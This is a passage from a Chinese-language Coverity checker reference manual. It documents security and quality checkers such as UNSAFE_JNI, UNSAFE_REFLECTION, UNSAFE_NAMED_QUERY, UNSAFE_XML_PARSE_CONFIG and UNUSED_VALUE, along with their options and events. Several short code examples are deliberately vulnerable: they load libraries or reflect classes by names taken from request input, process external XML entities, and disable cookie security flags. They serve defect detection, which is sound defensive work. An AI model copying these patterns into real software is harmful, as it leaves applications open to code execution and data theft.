- UNSAFE\_DESERIALIZATION:trust\_mobile\_user\_input:<boolean> - [仅限 Kotlin]  
将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染。默认值为 UNSAFE\_DESERIALIZATION :trust\_mobile\_user\_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_network:<boolean> - [仅限 JavaScript、Kotlin 和 PHP]  
将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_network:false。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_rpc:<boolean> - [仅限 JavaScript、Kotlin 和 PHP]  
将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_system\_properties:<boolean> - [仅限 JavaScript、Kotlin 和 PHP]  
将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_system\_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

#### 4.338.5. 事件

本部分描述了 UNSAFE\_DESERIALIZATION 检查器生成的一个或多个事件。

- sink - ( 主要事件 ) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

#### 数据流事件

- member\_init - 使用被污染的数据创建类实例会使用被污染的数据初始化该类的成员。
- object\_construction - 使用被污染的数据创建类实例。
- subclass - 创建类实例以用作超类。
- taint\_alias - 为被污染的对象设置别名。
- taint\_path - 将被污染的值赋值给本地变量。
- taint\_path\_arg - 将被污染的值用作方法的参数。

- `taint_path_attr` - [仅限 Java 和 Kotlin] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- `taint_path_call` - 此方法调用返回被污染的值。
- `taint_path_field` - 将被污染的值赋值给一个字段。
- `taint_path_map_read` - 从映射中读取被污染的值。
- `taint_path_map_write` - 将被污染的值写入映射。
- `taint_path_param` - 调用方将被污染的参数传递给此方法参数。
- `taint_path_return` - 当前方法返回被污染的值。
- `tainted_source` - 被污染值所起源的方法。

## 4.339. UNSAFE\_FUNCTIONALITY

安全性

### 4.339.1. 概述

支持的语言 : . Go

`UNSAFE_FUNCTIONALITY` 报告调用不安全函数

`unsafe.Alignof()`、`unsafe.Offsetof()`、`unsafe.Sizeof()` 或使用类型 `unsafe.Pointer` 的情况，这允许直接访问内存，从而可能导致信息泄漏、代码流重定向、缓冲区溢出或恶意代码执行。

### 4.339.2. 示例

本部分提供了一个或多个 `UNSAFE_FUNCTIONALITY` 示例。

在下面的示例中，调用 `unsafe.Alignof()` 将显示 `UNSAFE_FUNCTIONALITY` 缺陷。

```
package main
import (
 "unsafe"
 "fmt"
)

func Float64bits() {
 tmp := unsafe.Alignof(0) // defect here
 fmt.Println(tmp)
}
```

## 4.340. UNSAFE\_JNI

安全检查器

#### 4.340.1. 概述

支持的语言：. Java、Kotlin

`UNSAFE_JNI` 查找不安全的 Java 本机接口库注入漏洞；当不受控制的动态数据被用作动态库路径时，就会产生此类漏洞。此安全漏洞可以允许攻击者加载不可信的动态库以及执行不安全代码。

默认启用：`UNSAFE_JNI` 默认对 Kotlin 启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

默认禁用：`UNSAFE_JNI` 默认对 Java 禁用。要启用 `UNSAFE_JNI` 与其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

#### 4.340.2. 示例

本部分提供了一个或多个 `UNSAFE_JNI` 示例。

##### 4.340.2.1. Java

在下面的示例中，方法通过 HTTP 请求参数 `libraryName` 获取了本机库名称。然后，此库名称被传递给 JNI 库方法 API 方法 `java.lang.System.loadLibrary`。

```
protected void loadLibrary(HttpServletRequest request, String libraryName)
 throws ServletException
{
 if (libraryName == null) {
 libraryName = request.getParameter("libraryName");
 }
 try {
 System.loadLibrary(libraryName);
 //...
 } catch (Exception e) {
 throw new ServletException("Error loading " + libraryName);
 }
}
```

攻击者可以向此方法中传递任何库名称。此库可能加载已经加载到应用程序中的原生方法的不同实现。加载这些方法可能在应用程序内导致无法预测的其他作用。

##### 4.340.2.2. Kotlin

在下面的示例中，方法通过 HTTP 请求参数 `libraryName` 获取了本机库名称。然后，此库名称被传递给 JNI 库方法 API 方法 `java.lang.System.loadLibrary`。

```
import javax.servlet.http.HttpServletRequest

class UnsafeJni {

 fun test(req: HttpServletRequest) {
 val libraryName = req.getParameter("libraryName");
 System.loadLibrary(libraryName);
```

```
 }
}
```

攻击者可以向此方法中传递任何库名称。此库可能加载已经加载到应用程序中的原生方法的不同实现。加载这些方法可能在应用程序内导致无法预测的其他作用。

#### 4.340.3. 事件

本部分描述了 UNSAFE\_JNI 检查器生成的一个或多个事件。

- sink - ( 主要事件 ) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

##### 数据流事件

- member\_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object\_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint\_alias - 为被污染的对象设置了别名。
- taint\_path - 将被污染的值赋值给本地变量。
- taint\_path\_arg - 将被污染的值作为方法的参数。
- taint\_path\_attr - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- taint\_path\_call - 此方法调用返回被污染的值。
- taint\_path\_field - 将被污染的值赋值给一个字段。
- taint\_path\_map\_read - 从映射中读取被污染的值。
- taint\_path\_map\_write - 将被污染的值写入映射。
- taint\_path\_param - 调用方将被污染的参数作为参数传递给此方法。
- taint\_path\_return - 当前方法返回被污染的值。
- tainted\_source - 被污染值所起源的方法。

#### 4.341. UNSAFE\_NAMED\_QUERY

##### 安全检查器

###### 4.341.1. 概述

支持的语言 : . C#、Java、Visual Basic

UNSAFE\_NAMED\_QUERY 检查器报告将不可信字符串用作数据库查询名称的情况。

一些数据库系统允许按名称存储和执行查询和命令。如果恶意用户可以控制该名称字符串，他们可能能够执行一个非正常命令来更改程序行为或泄露敏感数据。

与 SQL 注入漏洞不同，其中攻击者可以引入任意 SQL 语法，而利用此漏洞有更多限制。攻击者只能滥用已经作为预定义查询公开的功能。

默认禁用：UNSAFE\_NAMED\_QUERY 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 UNSAFE\_NAMED\_QUERY 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

#### 4.341.2. 缺陷剖析

UNSAFE\_NAMED\_QUERY 缺陷说明了不可信（被污染）数据流入数据库查询名称的数据流路径。

#### 4.341.3. 示例

本部分提供了一个或多个 UNSAFE\_NAMED\_QUERY 示例。

##### 4.341.3.1. Java

在下面的示例中，针对 session.getNamedQuery 调用报告了缺陷。

```
public void UnsafeNamedQueryCommand(
 org.hibernate.Session session,
 javax.servlet.http.HttpServletRequest request) throws Exception
{
 String queryName = request.getParameter("query");
 session.getNamedQuery(queryName);
}
```

##### 4.341.3.2. C#

在下面的示例中，针对 session.getNamedQuery 调用报告了缺陷：将不可信字符串作为查询名称传递。前面的语句执行从不可信 HTTP 请求数据获取的 NHibernate 查询名称。

```
using System.Web;
using NHibernate;

public void RunWebQuery(WebRequest request, ISession session)
{
 IQuery query = session.GetNamedQuery(request["query"]);

 // Set parameters and execute query
 query.SetString("name", request["name"]);
 var results = query.List<String>();
}
```

#### 4.341.3.3. Visual Basic

在下面的示例中，针对 `session.getNamedQuery` 调用报告了缺陷。

```
Imports System.Web
Imports NHibernate

Public Class DatabaseManager

 Private session As ISession

 Public Function GetSavedQuery(ByVal queryId As String) as IQuery
 return session.GetNamedQuery(request(queryId))
 End Function

 Public Sub UnsafeNamedQuery(request As HttpRequest)
 Dim query As IQuery = GetSavedQuery("saved_query_" + request("id"))
 End Sub

End Class
```

### 4.342. UNSAFE\_REFLECTION

安全检查器

#### 4.342.1. 概述

支持的语言：. Java、PHP、Ruby

UNSAFE\_REFLECTION 查找不安全的反射漏洞；当不受控制的动态数据被用作类、方法或字段/属性名称时，就会产生此类漏洞。然后，此名称被传递给反射 API。此安全漏洞可能允许攻击者绕过安全检查，获取未经授权的数据或执行任意代码。

默认禁用：UNSAFE\_REFLECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

对于 Ruby，默认启用 UNSAFE\_REFLECTION。

Web 应用程序安全检查器启用：要启用 UNSAFE\_REFLECTION 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

Android 安全检查器启用。要与其他 Java Android 安全检查器一起启用 UNSAFE\_REFLECTION，请在 cov-analyze 命令中使用 `--android-security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

#### 4.342.2. 示例

本部分提供了一个或多个 UNSAFE\_REFLECTION 示例。

#### 4.342.2.1. Java

在下面的示例中，该方法通过 HTTP 请求参数 `typeValue` 获取了类名称。然后，此类名称被传递给反射 API 方法 `Class.forName`。然后，该示例对类调用了 `invoke` 方法。

```
protected void invokeObjectType(HttpServletRequest request, String className)
 throws ServletException
{
 if (className == null) {
 className = request.getParameter("typeValue");
 }
 try {
 Class clazz = Class.forName(className);
 Method method = clazz.getMethod("invoke", null);
 method.invoke(null, null);
 //...
 } catch (Exception e) {
 throw new ServletException("Error reflecting on " + className);
 }
}
```

攻击者可以在具有名为 `invoke` 的公共无参数方法的类路径中传入任何类。调用该方法可能在应用程序内导致无法预测的其他作用。

#### 4.342.2.2. PHP

在下面的示例中，代码段从 HTTP 请求参数中获取比较器的名称，并将其存储在变量中。然后通过反射调用比较器函数，并用于计算两个数组的差异。虽然期望用户提供命令成对元素的函数的名称，但攻击者可以提供任意函数。这会允许攻击者绕过安全检查，获取未经授权的数据或执行任意代码。

```
<?php

$comparo = $_GET['keyComparator'];
array_diff_uassoc($ar1, $ar2, $comparo);

?>
```

#### 4.342.2.3. Ruby

下面的 Ruby on Rails 示例展示了当将 HTTP 请求参数转化为常量时发生的不安全映射。

```
class ExampleController < ApplicationController
 def account
 account_type = params[:type].constantize
 end
end
```

#### 4.342.3. 选项

本部分描述了一个或多个 `UNSAFE_REFLECTION` 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `UNSAFE_REFLECTION: distrust_all:<boolean>` - [仅限 PHP] 将此选项设置为 `true` 等同于将此检查器的所有 `trust_*` 检查器选项设置为 `false`。默认值为 `UNSAFE_REFLECTION: distrust_all:false`。

如果将 cov-analyze 命令的 `UNSAFE_REFLECTION: webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

- `UNSAFE_REFLECTION: trust_command_line:<boolean>` - [仅限 PHP] 将此选项设置为 `false` 会导致分析将命令行参数视为被污染。默认值为 `UNSAFE_REFLECTION: trust_command_line:true`。设置此检查器选项会覆盖全局 `--trust-command-line` 和 `--distrust-command-line` 命令行选项。
- `UNSAFE_REFLECTION: trust_console:<boolean>` - [仅限 PHP] 将此选项设置为 `false` 会导致分析将来自控制台的数据视为被污染。默认值为 `UNSAFE_REFLECTION: trust_console:true`。设置此检查器选项会覆盖全局 `--trust-console` 和 `--distrust-console` 命令行选项。
- `UNSAFE_REFLECTION: trust_cookie:<boolean>` - [仅限 PHP] 将此选项设置为 `false` 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 `UNSAFE_REFLECTION: trust_cookie:false`。设置此检查器选项会覆盖全局 `--trust-cookie` 和 `--distrust-cookie` 命令行选项。
- `UNSAFE_REFLECTION: trust_database:<boolean>` - [仅限 PHP] 将此选项设置为 `false` 会导致分析将来自数据库的数据视为被污染。默认值为 `UNSAFE_REFLECTION: trust_database:true`。设置此检查器选项会覆盖全局 `--trust-database` 和 `--distrust-database` 命令行选项。
- `UNSAFE_REFLECTION: trust_environment:<boolean>` - [仅限 PHP] 将此选项设置为 `false` 会导致分析将来自环境变量的数据视为被污染。默认值为 `UNSAFE_REFLECTION: trust_environment:true`。设置此检查器选项会覆盖全局 `--trust-environment` 和 `--distrust-environment` 命令行选项。
- `UNSAFE_REFLECTION: trust_filesystem:<boolean>` - [仅限 PHP] 将此选项设置为 `false` 会导致分析将来自文件系统的数据视为被污染。默认值为 `UNSAFE_REFLECTION: trust_filesystem:true`。设置此检查器选项会覆盖全局 `--trust-filesystem` 和 `--distrust-filesystem` 命令行选项。
- `UNSAFE_REFLECTION: trust_http:<boolean>` - [仅限 PHP] 将此选项设置为 `false` 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 `UNSAFE_REFLECTION: trust_http:false`。设置此检查器选项会覆盖全局 `--trust-http` 和 `--distrust-http` 命令行选项。
- `UNSAFE_REFLECTION: trust_http_header:<boolean>` - [仅限 PHP] 将此选项设置为 `false` 会导致分析将来自 HTTP header 的数据视为被污染。默认值为 `UNSAFE_REFLECTION: trust_http_header:false`。设置此检查器选项会覆盖全局 `--trust-http-header` 和 `--distrust-http-header` 命令行选项。
- `UNSAFE_REFLECTION: trust_network:<boolean>` - [仅限 PHP] 将此选项设置为 `false` 会导致分析将来自网络的数据视为被污染。默认值为 `UNSAFE_REFLECTION: trust_network:false`。设置此检查器选项会覆盖全局 `--trust-network` 和 `--distrust-network` 命令行选项。

- UNSAFE\_REFLECTION:trust\_rpc:<boolean> - [仅限 PHP] 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 UNSAFE\_REFLECTION:trust\_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- UNSAFE\_REFLECTION:trust\_system\_properties:<boolean> - [仅限 PHP] 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 UNSAFE\_REFLECTION:trust\_system\_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

#### 4.342.4. 事件

本部分描述了 UNSAFE\_REFLECTION 检查器生成的一个或多个事件。

- sink - ( 主要事件 ) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

#### 数据流事件

- member\_init - 使用被污染的数据创建类实例会使用被污染的数据初始化该类的成员。
- object\_construction - 使用被污染的数据创建类实例。
- subclass - 创建类实例以用作超类。
- taint\_alias - 为被污染的对象设置别名。
- taint\_path - 将被污染的值赋值给本地变量。
- taint\_path\_arg - 将被污染的值用作方法的参数。
- taint\_path\_attr - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- taint\_path\_call - 此方法调用返回被污染的值。
- taint\_path\_field - 将被污染的值赋值给一个字段。
- taint\_path\_map\_read - 从映射中读取被污染的值。
- taint\_path\_map\_write - 将被污染的值写入映射。
- taint\_path\_param - 调用方将被污染的参数传递给此方法参数。
- taint\_path\_return - 当前方法返回被污染的值。
- tainted\_source - 被污染值所起源的方法。

### 4.343. UNSAFE\_SESSION\_SETTING

#### 安全检查器

#### 4.343.1. 概述

支持的语言 : . Ruby

UNSAFE\_SESSION\_SETTING 报告与 Web 服务器会话相关的不安全设置。

默认启用 : UNSAFE\_SESSION\_SETTING 默认启用。有关启用/禁用详情和选项 , 请参阅 Section 1.2, “启用和禁用检查器”。

#### 4.343.2. 缺陷剖析

只要发生“事件”部分描述的事件 , 便会报告 UNSAFE\_SESSION\_SETTING 缺陷。

#### 4.343.3. 示例

本部分提供了一个或多个 UNSAFE\_SESSION\_SETTING 示例。

下面的 Ruby-on-Rails 示例展示了针对会话 cookie 禁用 HTTPOnly 和 Secure 标志的情况。

```
Example::Application.config.session_store :cookie_store, :key =>
 '_example_session', :httponly => false, :secure => false
```

#### 4.343.4. 事件

本部分描述了 UNSAFE\_SESSION\_SETTING 检查器生成的一个或多个事件。

- http\_cookies - 用于跟踪会话的浏览器 cookie 未被配置为使用 HTTPOnly 标志。
- secure\_cookies - 用于跟踪会话的浏览器 cookie 未被配置为使用 Secure 标志。
- session\_secret - 会话密钥键存储在源代码本地仓库中。

### 4.344. UNSAFE\_XML\_PARSE\_CONFIG

安全检查器

#### 4.344.1. 概述

支持的语言 : . C、C++、C#、Python

UNSAFE\_XML\_PARSE\_CONFIG 检查器从库和数据包函数查找不安全的 XML 分析配置。不安全的 XML 分析配置可能会使程序易受攻击 , 如 XML 外部实体攻击、Billion Laughs 攻击、XML 分析恢复错误攻击、Xinclude 攻击等。

在 C、C++ 中 , UNSAFE\_XML\_PARSE\_CONFIG 检查器从 libxml 和 Xerces-C++ 库检查参数用法。有些参数不应被排除在特定的值之外。

在 Python 中 , UNSAFE\_XML\_PARSE\_CONFIG 检查器查找使用 XMLReader.setFeature() 函数将 xml.sax.handler.feature\_external\_ges 设置为 True 的 xml.sax 分析器的实例。

在 C# 中，UNSAFE\_XML\_PARSE\_CONFIG 检查器查找将 XmlReaderSettings.DtdProcessing 属性设置为 System.Xml.DtdProcessing.Parse 的 System.Xml.XmlReaderSettings 的实例。

默认禁用：UNSAFE\_XML\_PARSE\_CONFIG 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

安全检查器启用 -C、C++：要与其他安全检查器一起启用 UNSAFE\_XML\_PARSE\_CONFIG（适用于 C 或 C++），请在 cov-analyze 命令中使用 --security 选项。

Web 应用程序安全检查器启用 -C#、Python：要与其他 Web 应用程序安全检查器一起启用 UNSAFE\_XML\_PARSE\_CONFIG（适用于 C# 或 Python），请在 cov-analyze 命令中使用 --webapp-security 选项。

#### 4.344.2. 缺陷剖析 C、C++

##### 4.344.2.1. 需要注意的 Libxml 库函数

UNSAFE\_XML\_PARSE\_CONFIG 检查本节中列出的 libxml 库函数。

对以下函数的调用：

- xmlDocPtr xmlCtxtReadDoc(xmlParserCtxtPtr ctxt, const xmlChar \*cur, const char \*URL, const char \*encoding, int options)
- xmlDocPtr xmlCtxtReadFd(xmlParserCtxtPtr ctxt, int fd, const char \*URL, const char \*encoding, int options)
- xmlDocPtr xmlCtxtReadFile(xmlParserCtxtPtr ctxt, const char \*filename, const char \*encoding, int options)
- xmlDocPtr xmlCtxtReadIO(xmlParserCtxtPtr ctxt, xmlInputReadCallback ioread, xmlInputCloseCallback ioclose, void \*ioctx, const char \*URL, const char \*encoding, int options)
- xmlDocPtr xmlCtxtReadMemory(xmlParserCtxtPtr ctxt, const char \*buffer, int size, const char \*URL, const char \*encoding, int options)
- int xmlCtxtUseOptions(xmlParserCtxtPtr ctxt, int options)
- xmlParserErrors xmlParseInNodeContext(xmlNodePtr node, const char \*data, int datalen, int options, xmlNodePtr \*lst)
- xmlDocPtr xmlReadDoc(const xmlChar \*cur, const char \*URL, const char \*encoding, int options)
- xmlDocPtr xmlReadFd(int fd, const char \*URL, const char \*encoding, int options)
- xmlDocPtr xmlReadFile(const char \*filename, const char \*encoding, int options)

- xmlDocPtr xmlReadIO(xmlInputReadCallback ioread, xmlInputCloseCallback ioclose, void \*ioctx, const char \*URL, const char \*encoding, int options)
- xmlDocPtr xmlReadMemory(const char \*buffer, int size, const char \*URL, const char \*encoding, int options)

不应在 `options` 参数中使用以下任何标志 ( enum 值 ) :

- XML\_PARSE\_RECOVER ( 1<<0 ) : 从错误中恢复
- XML\_PARSE\_NOENT ( 1<<1 ) : 扩展实体并用替换文本替换它们
- XML\_PARSE\_DTDLOAD ( 1<<2 ) : 加载外部文档类型定义
- XML\_PARSE\_HUGE ( 1<<19 ) : 放松解析器中的任何硬编码限制

对以下函数的调用 :

- int xmlSubstituteEntitiesDefault(int val)

不应将参数 `val` 设置为值 1。这样做将允许实体替换，可能允许替换为恶意实体。

对以下函数的调用 :

- int xmlXIncludeProcessFlags(xmlDocPtr doc, int flags)
- int xmlXIncludeProcessFlagsData(xmlDocPtr doc, int flags, void \*data)
- int xmlXIncludeProcessTreeFlags(xmlNodePtr tree, int flags)
- int xmlXIncludeProcessTreeFlagsData(xmlNodePtr tree, int flags, void \*data)
- int xmlXIncludeSetFlags(xmlXIncludeCtxtPtr ctxt, int flags)

不应在 `flags` 参数中使用以下标志 ( enum 值 ) :

- XML\_PARSE\_XINCLUDE ( 1<<10 ) : 从外部系统接收 XML 时应禁用 XINCLUDE

#### 4.344.2.2. 需要注意的 Xerces-C++ 库函数

UNSAFE\_XML\_PARSE\_CONFIG 检查本节中列出的 Xerces-C++ 库函数。

对以下函数的调用 :

- void XercesDOMParser::setValidationConstraintFatal(const bool newState)
- void SAXParser::setValidationConstraintFatal(const bool newState)

应将 `newState` 参数设置为 `true`。否则，解析器不会将验证错误视为致命错误并继续进行处理，因此不推荐其他设置。

对以下函数的调用 :

- void XercesDOMParser::setDoXIInclude(const bool newState)

应将 newState 参数设置为 false。传递 true 可能导致包括外部文件，这可能是危险的。

对以下函数的调用：

- void XercesDOMParser::setLoadExternalDTD(const bool newState)
- void SAXParser::setLoadExternalDTD(const bool newState)

应将 newState 参数设置为 false。传递 true 会生成容易受到 Billion Laughs 攻击的漏洞。

对以下函数的调用：

- void XercesDOMParser::setCreateEntityReferenceNodes(const bool create)

应将 newState 参数设置为 false。如果设置为 true，解析器会在 DOM 树中创造实体引用节点，从而生成容易受到 XML 外部实体攻击的漏洞。

对以下函数的调用：

- void SAXParser::setDisableDefaultEntityResolution(const bool newValue)

应将 newState 参数设置为 true。传递 false 会启用实体解析，从而生成容易受到 XML 外部实体攻击的漏洞。

对以下函数的调用：

- void SAX2XMLReader::setFeature(const XMLCh \*const name, const bool value)

不应对 name 和 value 参数使用以下值组合：

- XMLUni::fgXercesDisableDefaultEntityResolution 与 false
- XMLUni::fgXercesLoadExternalDTD 与 true
- XMLUni::fgXercesContinueAfterFatalError 与 true
- XMLUni::fgXercesValidationAsFatal 与 false
- XMLUni::fgXercesDoXInclude 与 true

#### 4.344.3. 示例

本部分提供了一个或多个 UNSAFE\_XML\_PARSE\_CONFIG 示例。

##### 4.344.3.1. C、C++

下面的示例说明了错误设置 XML\_PARSE\_RECOVER 标志的 UNSAFE\_XML\_PARSE\_CONFIG 缺陷。设置该标志可能会导致应用程序级别的攻击，具体取决于应用程序环境。在处理错误的 XML 时，最好将该标志保留为未设置并且不能从错误中恢复。

```
 xmlDocPtr foo(const char *buffer, int size, const char *URL, const char *encoding)
{
```

```

int options = XML_PARSE_RECOVER;
return xmlReadMemory(buffer, size, URL, encoding, options); // defect here
}

```

#### 4.344.3.2. C#

在下面的示例中，针对将 `XmlReaderSettings.DtdProcessing` 属性设置为 `System.Xml.DtdProcessing.Parse` 的 `System.Xml.XmlReaderSettings` 实例，显示了 `UNSAFE_XML_PARSE_CONFIG`。

```

```
using System;
using System.Xml;
using System.Xml.Schema;
using System.IO;

public class Sample {

    public static void Main() {
        XmlReaderSettings settings = new XmlReaderSettings();
        settings.DtdProcessing = DtdProcessing.Parse;           // defect here
        settings.ValidationType = ValidationType.DTD;
        settings.ValidationEventHandler += new ValidationEventHandler
(ValidationCallBack);

        XmlReader reader = XmlReader.Create("itemDTD.xml", settings);

        while (reader.Read());
    }

    private static void ValidationCallBack(object sender, ValidationEventArgs e) {
        Console.WriteLine("Validation Error: {0}", e.Message);
    }
}
```

```

#### 4.344.3.3. Python

在下面的示例中，针对使用 `XMLReader.setFeature()` 函数将 `xml.sax.handler.feature_external_ges` 设置为 `True` 的 `xml.sax` 分析器实例，显示了 `UNSAFE_XML_PARSE_CONFIG`。

```

```
from flask import Flask, request
from xml.dom.pulldom import parse
from xml.sax import make_parser
from xml.sax.handler import feature_external_ges

app = Flask(__name__)
@app.route('/', methods=('GET', 'POST'))
def index():
    parser = make_parser()

```

```

parser.setFeature(feature_external_ges, True) # defect here
doc = parse(request.stream, parser=parser)
```

```

#### 4.344.4. 事件

本部分描述了 UNSAFE\_XML\_PARSE\_CONFIG 检查器生成的一个或多个事件。

- unsafe\_xml\_parse\_config - 表明使用错误参数的位置可能导致不安全的 XML 分析配置。

### 4.345. UNUSED\_VALUE

质量检查器

#### 4.345.1. 概述

支持的语言：. C、C++、C#、Java、Objective-C、Objective-C++、Go

UNUSED\_VALUE 可查找值被赋值给变量但从未使用的很多情况。例如，它可以查找排字或剪切粘贴错误意味着访问了错误变量的位置。如果该值实际上被使用了，则该分析绝不会将该值报告为未使用。如果发生此类情况，请联系支持团队。

默认启用：UNUSED\_VALUE 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

#### 4.345.2. 示例

本部分提供了一个或多个 UNUSED\_VALUE 示例。

##### 4.345.2.1. C/C++

在下面的示例中，此处所赋的值 result = "Buenos Aires"; 和 result = "Rome"; 绝不会被使用；结果 "Unknown" 将重写值 "Buenos Aires" 和 "Rome"。

```

#include <string.h>

const char* get_capital_city(const char *country)
{
 const char *result = 0;
 if (strcmp(country, "Argentina") == 0) {
 result = "Buenos Aires";
 } else if (strcmp(country, "Italy") == 0) {
 result = "Rome";
 } if (strcmp(country, "China") == 0) { // Should be 'else if' here.
 result = "Beijing";
 } else {
 result = "Unknown";
 }
 return result;
}

```

#### 4.345.2.2. C#

在下面的示例中，赋值 `i = 10` 绝不会被使用。`i = 20` 值被重写。

```
class Test {
 int func(bool b)
 {
 int i = 0;
 if (b) {
 i = 10;
 }
 i = 20;
 return i;
 }
}
```

#### 4.345.2.3. Go

在下面的示例中，赋值 `i = 10` 绝不会被使用，`i = 20` 值被重写。

```
func unused(b bool) int {
 i := 0
 if b {
 i = 10
 }
 i = 20
 return i
}
```

#### 4.345.2.4. Java

```
class Test {
 int func(boolean b)
 {
 int i = 0;
 if (b) {
 i = 10;
 }
 i = 20; // Value is overwritten.
 return i;
 }
}
```

### 4.345.3. 选项

本部分描述了一个或多个 `UNUSED_VALUE` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `UNUSED_VALUE:defects_threshold_on_var:<count>` - 在某些编码环境中，会特意多次为某个变量赋值但不使用相应值。此选项用于为缺陷数设置阈值，超过该阈值后，不

会再针对同一变量的赋值报告任何缺陷。此选项可使用从 1 到 99 之间的值。默认值为  
UNUSED\_VALUE:defects\_threshold\_on\_var:2

- UNUSED\_VALUE:report\_adjacent\_assignment:<boolean> - 当此选项为 true 时，该检查器会在赋值立即被另一赋值重写时报告缺陷。默认值为  
UNUSED\_VALUE:report\_adjacent\_assignment:true (适用于所有语言)。

此类缺陷通常发生在以下情况中：

- 期望非简单赋值时，例如：

```
void test1(int x) {
 x = 1; // Defect here.
 x = 2; // Did the programmer mean "x |= 2" here?
 ...
}
```

- 使用了不正确的变量（可能是剪切粘贴错误导致的）时，例如：

```
void test2(int x, int y) {
 x = someX; // Defect here.
 x = someY; // Did the programmer mean "y = someY" here?
 ...
}
```

此类缺陷的影响等级为“中等”(Medium)。

- UNUSED\_VALUE:report\_dominating\_assignment:<boolean> - 默认情况下，该检查器不会报告重写值的所有控制流路径也包含先前将此值赋予变量的行为的情况。该赋值据称可控制值重写。当此选项为 true 时，此类情况将被报告为缺陷，但也可能导致该检查器报告程序防御性地初始化变量，然后在从未使用初始化值的情况下重新为其赋值的一些情况。默认值为  
UNUSED\_VALUE:report\_dominating\_assignment:false

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium (或 high)，则该检查器选项会自动设置为 true。

- UNUSED\_VALUE:report\_never\_read\_variable:<boolean> - 当此选项为 true 时，该检查器将报告为变量赋予一个或多个不使用的值的情况。默认值为  
UNUSED\_VALUE:report\_never\_read\_variable:false
- UNUSED\_VALUE:report\_overwritten\_initializer:<boolean> - 当此选项为 true 时，该检查器将报告初始化了变量的值在使用之前被重写的情况。默认值为  
UNUSED\_VALUE:report\_overwritten\_initializer:true
- UNUSED\_VALUE:report\_unused\_final\_assignment:<boolean> - 当此选项为 true 时，该检查器将报告变量被赋予最终值，但该值在变量超出范围之前从未被使用的情况。默认值为  
UNUSED\_VALUE:report\_unused\_final\_assignment:false

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium (或 high)，则该检查器选项会自动设置为 true。

- UNUSED\_VALUE:report\_unused\_initializer:<boolean> - 默认情况下，检查器不报告为初始化变量而分配的值，以及未使用或重写的值。当设置为 true 时，此选项将关闭此行为。

默认值为 UNUSED\_VALUE:report\_unused\_initializer:false

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high )，则该检查器选项会自动设置为 true 。

#### 4.345.4. 事件

本部分描述了 UNUSED\_VALUE 检查器生成的一个或多个事件。

- assigned\_pointer - [C/C++、 Go] 将来自常量或变量的指针值指定给某个变量。该值之后未被使用。
- assigned\_reference - [仅限 C# 和 Java] 将来自常量或变量的对象引用值赋值给某个变量。该值之后未被使用。
- assigned\_value - 将来自常量或变量并且不是指针 (C/C++) 或对象引用 ( C#、 Java ) 的值指定给某个变量。该值之后未被使用。
- returned\_pointer - [C/C++、 Go] 将函数调用返回的指针值指定给某个变量。该值之后未被使用。
- returned\_reference - [C# 和 Java] 将函数调用返回的对象引用值指定给某个变量。该值之后未被使用。
- returned\_value - 将函数调用返回的并且不是指针 (C/C++) 或对象引用 ( C#、 Java ) 的值指定给某个变量。该值之后未被使用。
- value\_overwrite - 将新值指定给持有跟踪值的变量。

### 4.346. URL\_MANIPULATION

安全检查器

#### 4.346.1. 概述

支持的语言：. C、C++、Go、Java、JavaScript、Kotlin、Pytho、TypeScript

